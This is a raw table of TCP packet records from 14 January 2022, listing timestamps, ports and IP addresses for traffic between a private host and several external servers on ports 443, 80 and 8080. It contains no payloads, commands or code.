Jan 14, 2022 20:23:18.071384907 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.071465969 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.071484089 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.071521997 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.071619987 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.071635008 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.071691036 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.071726084 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.071773052 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.071791887 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.071814060 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.071854115 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.071929932 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.071945906 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.071968079 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.072005033 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.072007895 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.072024107 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.072051048 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.072088957 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.072144985 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.072182894 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.072227001 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.072252035 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.072266102 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.072319031 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.091002941 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.091067076 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.091120958 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.091141939 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.091171980 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.091223001 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.091263056 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.091284037 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.091308117 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.091325045 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.091336966 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.091389894 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.091423988 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.091465950 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.091515064 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.091540098 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.091555119 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.091604948 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.091609001 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.091631889 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.091662884 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.091684103 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.091711998 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.091727972 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.091747999 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.091799974 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.091840029 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.091893911 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.091922045 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.091934919 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.092008114 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.092046976 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.092166901 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.092185020 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.092211962 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.092251062 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.092293978 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.092330933 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.092344999 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.092401028 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.092442036 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.092479944 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.092499018 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.092514992 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.092542887 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.092581034 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.092618942 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.092648029 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.101499081 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.101520061 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.101542950 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.101624966 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.101661921 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.101677895 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.101697922 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.101727009 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.101808071 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.101823092 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.101839066 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.101855040 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.101948023 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.101967096 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.102334023 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.102349043 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.102376938 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.102475882 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.102519989 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.103018045 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.103157997 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.112401962 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.112423897 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.112477064 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.112505913 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.112517118 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.112582922 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.113871098 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.113902092 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:18.113924980 CET	49797	443	192.168.2.3	162.159.129.233
Jan 14, 2022 20:23:18.113940954 CET	443	49797	162.159.129.233	192.168.2.3
Jan 14, 2022 20:23:19.779428005 CET	49802	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:19.796775103 CET	80	49802	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:19.796919107 CET	49802	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:19.796971083 CET	49802	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:19.796978951 CET	49802	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:19.814243078 CET	80	49802	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:19.915574074 CET	80	49802	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:19.915719986 CET	49802	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:19.918951035 CET	49802	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:19.937124014 CET	80	49802	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:19.951926947 CET	49803	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:19.969136000 CET	80	49803	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:19.969599009 CET	49803	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:19.969835997 CET	49803	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:19.969854116 CET	49803	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:19.987078905 CET	80	49803	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:20.115129948 CET	80	49803	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:20.115173101 CET	80	49803	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:20.115231991 CET	49803	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:20.115791082 CET	49803	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:20.132975101 CET	80	49803	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:20.143027067 CET	49804	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:20.160487890 CET	80	49804	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:20.160590887 CET	49804	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:20.161989927 CET	49804	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:20.162581921 CET	49804	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:20.179455042 CET	80	49804	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:20.179801941 CET	80	49804	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:20.293355942 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:20.293435097 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:20.293467999 CET	49789	8080	192.168.2.3	185.7.214.171
Jan 14, 2022 20:23:20.304796934 CET	80	49804	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:20.304847956 CET	80	49804	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:20.305154085 CET	49804	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:20.305438995 CET	49804	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:20.322652102 CET	80	49804	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:20.328790903 CET	49806	80	192.168.2.3	188.166.28.199
Jan 14, 2022 20:23:20.425496101 CET	8080	49789	185.7.214.171	192.168.2.3
Jan 14, 2022 20:23:23.496526957 CET	49806	80	192.168.2.3	188.166.28.199
Jan 14, 2022 20:23:29.591078997 CET	49806	80	192.168.2.3	188.166.28.199
Jan 14, 2022 20:23:41.639964104 CET	49842	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:41.657294989 CET	80	49842	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:41.659172058 CET	49842	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:41.659307957 CET	49842	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:41.659313917 CET	49842	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:41.676697969 CET	80	49842	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:41.778414965 CET	80	49842	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:41.778523922 CET	49842	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:41.778793097 CET	49842	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:41.796145916 CET	80	49842	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:41.839068890 CET	49843	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:41.856462002 CET	80	49843	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:41.858535051 CET	49843	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:41.858620882 CET	49843	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:41.858628035 CET	49843	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:41.875925064 CET	80	49843	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:41.875963926 CET	80	49843	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:41.977838039 CET	80	49843	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:41.977988005 CET	49843	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:41.979598045 CET	49843	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:41.996843100 CET	80	49843	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:42.015012980 CET	49844	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.032444000 CET	80	49844	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:42.032571077 CET	49844	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.032768965 CET	49844	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.032821894 CET	49844	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.050112963 CET	80	49844	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:42.153341055 CET	80	49844	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:42.153456926 CET	49844	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.153510094 CET	49844	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.171011925 CET	80	49844	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:42.183017015 CET	49845	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.200516939 CET	80	49845	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:42.202292919 CET	49845	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.202626944 CET	49845	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.202649117 CET	49845	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.219938040 CET	80	49845	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:42.328319073 CET	80	49845	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:42.328346014 CET	80	49845	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:42.328413963 CET	49845	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.328464985 CET	49845	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.345671892 CET	80	49845	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:42.363126993 CET	49846	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.380490065 CET	80	49846	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:42.380608082 CET	49846	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.380798101 CET	49846	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.380815029 CET	49846	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.397993088 CET	80	49846	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:42.501806974 CET	80	49846	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:42.502542019 CET	49846	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.502711058 CET	49846	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.520029068 CET	80	49846	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:42.537098885 CET	49847	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.554611921 CET	80	49847	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:42.555053949 CET	49847	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.555224895 CET	49847	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.555238008 CET	49847	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.572788000 CET	80	49847	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:42.674602032 CET	80	49847	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:42.675617933 CET	49847	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.675734997 CET	49847	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.693110943 CET	80	49847	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:42.703839064 CET	49848	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.721112967 CET	80	49848	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:42.722155094 CET	49848	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.722282887 CET	49848	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.722410917 CET	49848	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.739686012 CET	80	49848	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:42.739738941 CET	80	49848	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:42.844275951 CET	80	49848	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:42.844302893 CET	80	49848	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:42.844446898 CET	49848	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.844600916 CET	49848	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.861706972 CET	80	49848	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:42.892371893 CET	49849	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.909652948 CET	80	49849	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:42.909754992 CET	49849	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.909894943 CET	49849	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.909940958 CET	49849	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:42.927211046 CET	80	49849	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:43.030383110 CET	80	49849	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:43.030487061 CET	49849	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.030689955 CET	49849	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.047853947 CET	80	49849	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:43.086026907 CET	49850	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.104218960 CET	80	49850	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:43.104351044 CET	49850	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.104464054 CET	49850	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.104517937 CET	49850	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.121742010 CET	80	49850	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:43.226212978 CET	80	49850	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:43.226295948 CET	49850	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.234869003 CET	49850	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.252181053 CET	80	49850	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:43.280951023 CET	49851	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.298191071 CET	80	49851	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:43.298290014 CET	49851	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.298398018 CET	49851	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.298424006 CET	49851	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.315608978 CET	80	49851	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:43.420722961 CET	80	49851	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:43.420813084 CET	49851	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.420850992 CET	49851	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.438061953 CET	80	49851	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:43.468219042 CET	49852	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.485502958 CET	80	49852	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:43.485610962 CET	49852	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.485729933 CET	49852	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.485743999 CET	49852	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.502860069 CET	80	49852	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:43.606533051 CET	80	49852	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:43.606594086 CET	49852	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.612019062 CET	49852	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.629245043 CET	80	49852	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:43.643018961 CET	49853	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.660434961 CET	80	49853	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:43.660538912 CET	49853	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.660638094 CET	49853	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.660660982 CET	49853	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.678078890 CET	80	49853	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:43.780814886 CET	80	49853	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:43.780874014 CET	49853	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.781075954 CET	49853	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.798342943 CET	80	49853	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:43.810059071 CET	49854	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.827476025 CET	80	49854	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:43.827548981 CET	49854	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.827652931 CET	49854	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.827687025 CET	49854	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.844979048 CET	80	49854	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:43.951256990 CET	80	49854	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:43.951363087 CET	49854	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.952132940 CET	49854	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:43.969578028 CET	80	49854	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.296909094 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.314127922 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.314671040 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.314760923 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.372859955 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.417227983 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.417253017 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.417269945 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.417287111 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.417304993 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.417320967 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.417337894 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.417354107 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.417362928 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.417371988 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.417388916 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.417411089 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.418648958 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.418989897 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.434705019 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.456994057 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.457060099 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.457098961 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.457140923 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.457180977 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.457186937 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.457218885 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.457243919 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.457261086 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.457300901 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.457329035 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.457376003 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.457434893 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.457448959 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.457488060 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.457570076 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.457571030 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.457623959 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.457681894 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.457732916 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.457751989 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.457804918 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.457843065 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.457906008 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.457923889 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.475131989 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.475177050 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.475227118 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.475239038 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.475260973 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.475277901 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.498100042 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498120070 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498137951 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498153925 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498171091 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498188019 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498197079 CET	49855	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:23:44.498204947 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498223066 CET	80	49855	8.209.70.0	192.168.2.3
Jan 14, 2022 20:23:44.498239040 CET	80	49855	8.209.70.0	192.168.2.3
